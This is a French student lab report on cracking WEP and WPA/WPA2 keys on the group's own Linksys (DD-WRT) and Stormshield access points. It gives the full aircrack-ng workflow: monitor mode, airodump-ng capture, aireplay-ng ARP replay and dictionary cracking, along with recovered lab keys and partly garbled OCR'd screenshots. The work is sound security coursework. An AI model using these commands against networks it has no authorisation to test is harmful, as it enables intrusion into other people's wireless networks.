Année 2023-2024

SAÉ Cyber 4.0 Sécurisation d'un SI

Tâche 6 Attaque sur le Wifi (4,5 points)

Liste des personnes impliquées avec pourcentage de répartition	
Sami	100%

Estimation du temps passé sur cette tâche en heure-homme :

Objectif : Mettre en place des attaques sur le WEP et sur le WPA avec une Linksys puis avec un SNS

Mise en place du WEP sur Linksys :

Le WEP (Wired Equivalent Privacy) est un protocole de sécurité utilisé pour sécuriser les réseaux sans fil, notamment les réseaux Wi-Fi. Il a été introduit initialement dans la norme IEEE 802.11 pour fournir une sécurité similaire à celle des réseaux filaires. Le but principal du WEP est de crypter les données transmises sur le réseau sans fil afin d'empêcher toute interception non autorisée.

Cependant, le WEP a été critiqué pour ses faiblesses de sécurité. Il utilise un algorithme de chiffrement relativement faible qui peut être facilement compromis avec des attaques telles que l'attaque par force brute ou l'attaque par paquets cryptographiques. En conséquence, le WEP est largement considéré comme obsolète et non sécurisé. De nos jours, il est recommandé d'utiliser des protocoles de sécurité plus robustes comme WPA (Wi-Fi Protected Access) ou WPA2 pour sécuriser les réseaux Wi-Fi.

▲ Non sécurisé 10.0.2.1/index.asp						
Tube 📓 Maps 🧃 Moodle-Cours Magi 🥡 Espace Numerique 🧿 W	IMS 📰 Cisco Networking A ᠢ W3Schools 📀 Proxm	ox 2 🔇 RT-projet 👍 SAE13 Dispositif de				
dd-wrt.com	" 1 control panel	Firmware: DD-WRT v24-sp2 (10/10/09) std : 00:04:18 up 4 min, load average: 0.42, 0.25, 0.11 WAN IP: 0.0.00				
Setup Wireless Services	Security Access Restrictions NAT / QoS Adminis	tration Status				
Basic Setup DDNS MAC Addre	ss Clone Advanced Routing VLANs Networking EoIP	funnel				
WAN Setup		Help more				
WAN Connection Type Connection Type	Automatic Configuration - DHCP V	Automatic Configuration - DHCP: This setting is most commonly used by Cable operators.				
STP Optional Settings	U Enable 🖲 Disable	Host Name: Enter the host name provided by your ISP.				
Router Name Host Name Domain Name	Groupe_6	Domain Name: Enter the domain name provided by your ISP.				
МТО	Auto V 1500	Local IP Address: This is the address of the router.				
Network Setup		Subnet Mask:				
Kouter 1/P Local IP Address Subnet Mask Gateway	10, 0, 2, 1 255, 255, 255, 0 10, 0, 2, 254	DHCP Server: Allows the router to manage your IP addresses.				
Local DNS		Start IP Address: The address you would like to start with.				
DECP Type DECP Type DECP Server Start IP Address	DHCP Server BEnable Disable 10.0.2. 100	Maximum DHCP Users: You may limit the number of addresses your router hands out. 0 means only predefined static leases will be handed out.				
Maximum DHCP Users	50	Time Settings:				

J'ai tout d'abord commencé par la configuration de l'adresse IP de notre borne lynksys en le configurant par rapport à notre schéma réseau. Pour cela, je suis allé dans la section 'Setup', puis 'Router IP'. Enfin j'ai changé le SSID du routeur en le nommant Groupe_6 pour pouvoir l'identifier parmi les autres.

Pour mettre en place un mot de passe tout en utilisant le protocole de sécurité WEP, il faut se rendre dans la section « Wireless » de l'interface de configuration du routeur. Suite à cela il faut se rendre dans l'onglet « Wireless Security ». Dans « Security Mode », j'ai sélectionné la partie « WEP ». Le fait d'avoir sélectionné ce protocole, a permit de pouvoir sélectionner plusieurs réglages tels que la génération de clés et le « Default Transmit Key » et « Encryption » qui nous permettent respectivement de pouvoir choisir la clé qui servira de mot de passe de connexion, et la taille de cryptage de la clé de connexion. J'ai ensuite cliqué sur le bouton « Generate » pour créer automatiquement des clés WEP. J'ai choisi la première clé générée comme mot de passe principal, en m'assurant qu'elle corresponde au numéro de la 'Default Transmit Key' sélectionnée. Cela a permis de sécuriser le réseau en utilisant le protocole WEP, conformément aux spécifications de notre infrastructure réseau.

dd-wrt.com	control panel	F Time: 00:05:0	Firmware: DD- 6 up 5 min, lo	WRT v24-sp2 (10/10/09) std ad average: 0.19, 0.21, 0.10 WAN IP: 0.0.0.0
Setup Wireless Services	Security Access Restrictions NAT / QoS	Administration	Status	
Basic Settings Radius Wireless Se	ecurity MAC Filter Advanced Settings WDS			
Wireless Security wl0			Неір	more
Physical Interface wl0 SSID [Groupe_6	5] HWAddr [C0:56:27:19:B4:E8]		Security M	ode:
Security Mode Default Transmit Key	WEP		You may cho WPA Persona RADIUS. All must use the	ose from Disable, WEP, al, WPA Enterprise, or devices on your network e same security mode.
Encryption	64 bits 10 hex digits 🗸			
Passphrase	Generate			
Key 1	000000000			
Key 2	000000000			
Key 3	000000000			
Key 4	000000000			
	Save Apply Settings			

Cassage de la clé WEP sur linksys :

Pour débuter le processus de craquage d'un mot de passe WEP, j'ai utilisé le logiciel Aircrackng. J'ai lancé son installation sur mon système en exécutant la commande " apt-get install aircrack-ng" dans le terminal. Une fois le logiciel installé, j'ai utilisé la commande " airmon-ng" pour répertorier les interfaces réseau sans fil disponibles sur mon système. Cette étape était cruciale pour identifier l'interface que j'allais utiliser pour tenter de casser le mot de passe WEP.

			Terminal
Fichier	Édition Affichage Re	cherche Terminal	Aide
			Intel Corporation Device Slf0 (rev 01) ode vif enabled for [phy0⊫lp0s20f3mon] ode vif disabled for [phy0]wlp0s20f3)

Comme on peut le voir suite à cette commande, L'interface utilisée pour le réseau sans fil c'est à dire réseau wi fi est wlp0s20f3. Après avoir pris connaissance de l'interface utilisée, on va mettre par la suite en place le mois de moniteur qui est essentiel pour notre utilisation c'est à dire casser le mot de passe WEP. Ce dernier permet de surveiller tous les paquets de données qui circulent autour de nous.

Suite à cela pour identifier la liste des réseaux wifi disponibles autour de nous j'ai tapé la commande airodump-ng wlp0s20f3mon. Cette liste contenait des données cruciales telles que le BSSID (adresse MAC du point d'accès), l'ESSID (nom du réseau), le canal utilisé par le réseau, ainsi que le type de sécurité mis en place pour chaque réseau. En me basant sur l'ESSID pour repérer les réseaux, j'ai identifié Groupe_6 comme le réseau cible pour lequel je voulais évaluer la sécurité WEP (qui est le wifi de notre routeur lynksys).

D Applications Emplacer	nents Système		📑 🚅 🔓 mer. 3 avril, 16:52
		Terminal	• • *
Fichier Édition Affichage	Recherche Terminal	Aide	
		<pre>f. 15 the source MMC associated ? t. 15 the source MMC associated ? sts and 15% ACK), sent 36406 packet?, (498 pps) 2013mon</pre>	
		Chipset	
			0
# BSSID			
	and the second		

Applications Emplacem	nents Sys	tème						📑 🙀 mer. 3 avril, 16:36
						Te	rminal	
Fichier Édition Affichage	Recherc	the Terminal A	ide					
								Î
(not associated) 00:16:65:58:67:A4 16:02:53:60:36:79 Ouitting root@rt-mob:-# []						9 b 9 8 6 8 7		
Terminal	Ro	Bureau	1	ter Bure	au			

Suite à cela j'ai donc choisi le réseau cible avec son PC et j tapé la commande suivante qui me permet De voir quels appareils sont connectés à ce réseau et d'ainsi par la suite pouvoir capturer toutes les trames nécessaires pour craquer le mot de passe : airodump-ng -c 6 -bssid C0 :56 :27 :19 :B4 :E8 -w /home/tp/Bureau wlp0s20f3mon. Ici -c 6 signifie le canal de notre réseau. --bssid C0 :56 :27 :19 :B4 :E8 est l'identifiant de notre routeur sur le réseau, c'est grâce à cela que l'on va pouvoir récupérer les trames spécifiques à ce routeur. -w /home/tp/Bureau wlp0s20f3mon correspond à l'emplacement où nos données capturées seront enregistrées.

Discretions Emplacem	nents Système	
○		Terminal
Fichier Édition Affichage	Recherche Terminal Aide	

L'image ci-dessous correspond aux données capturées

					Terminal				 (*) 	~ ×
Fichier Édi	tion Affichag	ge Reche	erche 1	erminal Aid	e					
root@rt-ı 3mon	mob:~# ai	replay	-ng -	3 -b C0:5	6:27:19:	B4:E8 -	c B4:8	3C : 9[D:92:CA:B9 wlp0s	520f
No source	e MAC (-h) spec	ified	. Using t	he devid	e MAC (3C:21:	90:9	9F:4B:EC)	
16:42:13	Waiting	for b	eacon	frame (B	SSID: CO	:56:27:	19:B4:	:E8)	on channel 6	
Saving A	RP reques	ts in	repla	y arp-040	3-164213	.cap				
You shou	ld also s	tart a	irodu	mp-ng to	capture	replies				
Notice:	got a dea	uth/di	sasso	c packet	Is the	source	MAC as	soc	iated ?	
Read 118	6 packets	(got	1 ARP	requests	and 316	ACKs),	sent	446	packets(499	pps
Read 165	9 packets	(got	3 ARP	requests	and 447	ACKs),	sent	496	packets(499	pps
Read 197	7 packets	(got	3 ARP	requests	and 555	ACKs),	sent	546	packets(499	pps
Read 224	6 packets	(got	3 ARP	requests	and 622	ACKs),	sent	597	packets(500	pps
Read 253	5 packets	(got	3 ARP	requests	and 685	ACKs),	sent	646	packets(499	pps
Read 260	2 packets	(got	3 ARP	requests	and 693	ACKs),	sent	696	packets(499	pps
Read 266	2 packets	(got	3 ARP	requests	and 693	ACKs),	sent	747	packets(500	pps
Read 267.	2 packets	(got	3 ARP	requests	and 693	ACKs),	sent	797	packets(500	pps
Read 268	6 packets	(got	3 ARP	requests	and 693	ACKs),	sent	846	packets(499	pps
Read 271	5 packets	(got	3 ARP	requests	and 693	ACKs),	sent	896	packets(499	pps
Read 279	0 packets	(got	3 ARP	requests	and 693	ACKs),	sent	947	packets(500	pps
Read 281	6 packets	(got	3 ARP	requests	and 693	ACKs),	sent	996	packets(499	pps
Read 285	8 packets	(got	3 ARP	requests	and 693	ACKs),	sent	1047	7 packets(500	pp
Read 291	6 packets	(got	3 ARP	requests	and 693	ACKs),	sent	1097	7 packets(500) pp
Read 293	7 packets	(got	3 ARP	requests	and 693	ACKs),	sent	1146	5 packets(499	pp
Notice:	got a dea	uth/di	sasso	c packet.	Is the	source	MAC as	soc	iated ?	
Read 296	0 packets	(got	3 ARP	requests	and 693	ACKs),	sent	119	7 packets(500	gg (

Suites aux données capturées on stop la commande airmon-ng sur notre interface en mode moniteur et on lance le cassage de mode du wifi cible grâce à la commande aircrack-ng /home/tp/Bureau/*.cap. Ce qui nous donne ce résultat :

				Terminal		$\odot \odot \otimes$
Fichier É	dition Affich	age Recherche	Terminal A	ide		
						î
	-mob:-#]		1	g	n

Mise en place du WPA :

Le WPA (Wi-Fi Protected Access) est un protocole de sécurité utilisé pour sécuriser les réseaux sans fil Wi-Fi. Il offre un cryptage amélioré par rapport au protocole précédent, le WEP, ainsi qu'une authentification renforcée. Le WPA évolue continuellement pour améliorer la sécurité et est compatible avec les anciens équipements.

dd-wrt.com	irmware: DD 0 up 3 min, l	0-WRT v24-sp2 (10/10/09) std load average: 0.04, 0.15, 0.07 WAN IP: 0.0.00									
Setup Wireless Services	Setup Wireless Services Security Access Restrictions NAT / QoS Administration										
Basic Settings Radius Wireless S	ecurity MAC Filter A	dvanced Settings WDS	;								
Wireless Security wl0				Help	more						
Physical Interface wl0 SSID [Groupe_d Security Mode WPA Algorithms		Security M You may ch WPA Persor RADIUS. All must use th	tode: noose from Disable, WEP, nal, WPA Enterprise, or I devices on your network ne same security mode.								
WPA Shared Key Key Renewal Interval (in seconds)											
	Save Apply Setting	S									

ci-dessus nous avons la configuration du WPA où l'on doit insérer une clé de connexion de notre choix.

Pour déchiffrer la clé pré-partagée WPA, j'ai suivi exactement le même protocole, à l'exception de la dernière étape où la commande "aircrack-ng" nécessitait l'utilisation d'un dictionnaire. J'ai donc créé un petit dictionnaire à cet effet. Voici la clé trouvée par le logiciel

					Air	ora	sk-i	ng :	1.6									
[00:00:00] 87/	'103	3037	727	ke	ys i	test	ted	(73	37.1	64 H	(/s)						
Time left: 3 k	nour	s,	52	mi	nuti	es,	48	sec	con	ds						0.0	00%	
			KI	EYI	FOU	ND !	[:	1234	456	78]							
Master Key		BA E6	C6 59	81 A6	6E 114	B1 76	01 F8	B5 61	54 22	6B 59	57 C7	A2 BA	3F 10	31 0D	01 D0	4A 1B	OC EA	
Transient Key		CB E2 E1 1F	11 F5 16 B9	48 46 D5 2A	1F A9 B9 7F	E3 4B 10 15	AD 14 5B 1A	73 80 14 DC	14 B7 56 30	AB 82 DE CA	58 49 D4 90	B5 3F E0 17	5F 14 A1 02	EE 92 B5 1F	D5 5B E7 00	0B FB 4C 00	12 B3 16 00	
EAPOL HMAC		29	19	Ĥ1	55	AC	80	76	5A	1B	08	8F	2C	67	C5	73	84	

Normalement, le dictionnaire est généralement plus volumineux, ce qui entraîne des temps de craquage de mot de passe beaucoup plus longs. Si le mot de passe ne figure pas dans le dictionnaire, l'attaque échoue.

Mise en place du WPA sur Stormshield SNS :

NB : Il n'y a pas de WEP sur stormshield ainsi que WPA étant donné qu'il est affiché en tant que WPA2.

J'ai donc premièrement activé le wifi sur notre Stormshield B:

$\leftarrow \rightarrow \mathbf{C} \ \textcircled{a}$	O 🖧 ht	ps:// 10.0.0.254 /admin/admin.html?nc=1712583688217#wifimodule	80% ☆
🐂 Kali Linux 📪 Kali Tools 🛔	💆 Kali Docs 🛛 💐 Kali	Forums Kali NetHunter 🛸 Exploit-DB 🛸 Google Hacking DB 🥼 OffSec	
STORMSHIELD	SN210W 3.	2210W17C2187A7 1 admin 20 Pead Write Restricted access to logs	
CONFIGURATION -	wi-Fi		
Search × 🗐 🗂	ON		
Cashboard			
SYSTEM	General configuration		
S NETWORK	Scan frequency:	Always enabled V P4	
Interfaces	Mode:	802.11g/n (2.4 GHz frequency range)	
• Wi-Fi			
Virtual interfaces	Channel configuration		
Routing	Country	France	
 Multicast routing 	Country.		
Dynamic DNS	Channel:		
DHCP	Tx power:	20dBm	
DNS cache proxy		94)	
OBJECTS	Configuring the access poi		
Q USERS			
SECURITY POLICY			
Filter - NAT			
URL filtering			
 SSL filtering 			
 SMTP filtering 			
• QoS			
Implicit rules			
O APPLICATION PROTECTION			
S NETWORK OBJECTS +			
LUSERS AND GROUPS +			
MONITORING +		Apply Kancel	

Puis j'ai activé l'interface wifi avec le chiffrement WPA2 :

← → C @	🔿 🔓 https://10	.0.0.254/admin/admin.html?nd	c=1712583688217#network		80% 🏠
🛰 Kali Linux 🛛 🔒 Kali Tools 🖉	Kali Docs 🛛 🐹 Kali Forums	🤜 Kali NetHunter 🔺 Exploit	-DB 🐞 Google Hacking DB 🥼 OffS	ec	
STORMSHIELD	SN210W 3.7.20	87A7 Admin P Read/Write Restricted access to logs			4
	ST. INTERFACES				
Search × 🔳 🛍	Search × + Ad	dd 🕶 🖸 Delete 🧰 📆 Mixed view 🕶 Show a	ll 🔹 💿 Check usage		
DASHBOARD	b et bridge	CONFIGURATION OF THE INTERFAC	æ 🔤		
(SYSTEM	in out	Name -	ufformer (
S NETWORK	WifiGroupe6	Comments :	willGroupeo		
Interfaces	PublicAP	VII ANE attached to the interface :			
• Wi-Fi		Color:			
 Virtual interfaces 		This interface is -	internet forestanted		
Routing		THE HIGHLIG .	Internal (protected)		
 Multicast routing 		WiFi			
Dynamic DNS		Network name :	WifiGroupe6		
DHCP		Authentication :	WPA2		
DNS cache proxy		Security key :			
OBJECTS			AP Isolation		
Q USERS					
SECURITY POLICY		Address range			
Filter - NAT			 None (interface disabled) 		
URL filtering			Fixed IP (static)		
SSL filtering			O Address range inherited from the bridge		
SMTP filtering			Seloct a bridge		
• QoS		+ Add 🖸 Delete			
Implicit rules		IP address		Network mask Comments	
APPLICATION PROTECTION		172.20.0.254		255.255.255.0	
R NETWORK OBJECTS +					
LUSERS AND GROUPS +			(strate) (the con-	nal]	
MONITORING +			Can		

La procédure est exactement la même que pour la WPA

0	Terminal												\odot	×						
Fichier	Édition Affichage I	Rec	herch	ne T	erm	inal	Aid	e												
					,	Air	cra	ck-I	ng	1.6										ĺ
	[00:00:00] 5/1	1	key	s to	este	ed	(22)	2.3	2 k,	/s)										
	Time left: 0 s	ec	ond	S													45.4	45%		
				K	EY I	Foui	ND !	[hih:	ihil	na!]								
	Master Key	:	A9 F9	DF 82	80 8C	21 A9	79 40	3B E6	33 75	85 2A	B4 30	E1 99	C9 D4	0A 8B	06 31	93 D7	DE 11	21 E6		
	Transient <mark>K</mark> ey	:	CC 91 08 F7	DD AE 37 D2	FE EA 9F DA	B5 2D 25 31	3A B7 44 BD	28 48 0B 91	5F 5A C1 46	89 D7 18 F6	9E BB D6 ³ B5	AF 34 B8 DD	97 FA 04 D2	D7 26 74 B6	43 63 B2 57	0D 0C AF 45	85 1C 60 56	81 F8 13 CE		
	EAPOL HMAC	:	24	AE	33	5C	CF	53	E8	53	09	20	17	C1	E7	7E	C7	AO		
root@	irt-mob:~#																			

Voici donc le résultat.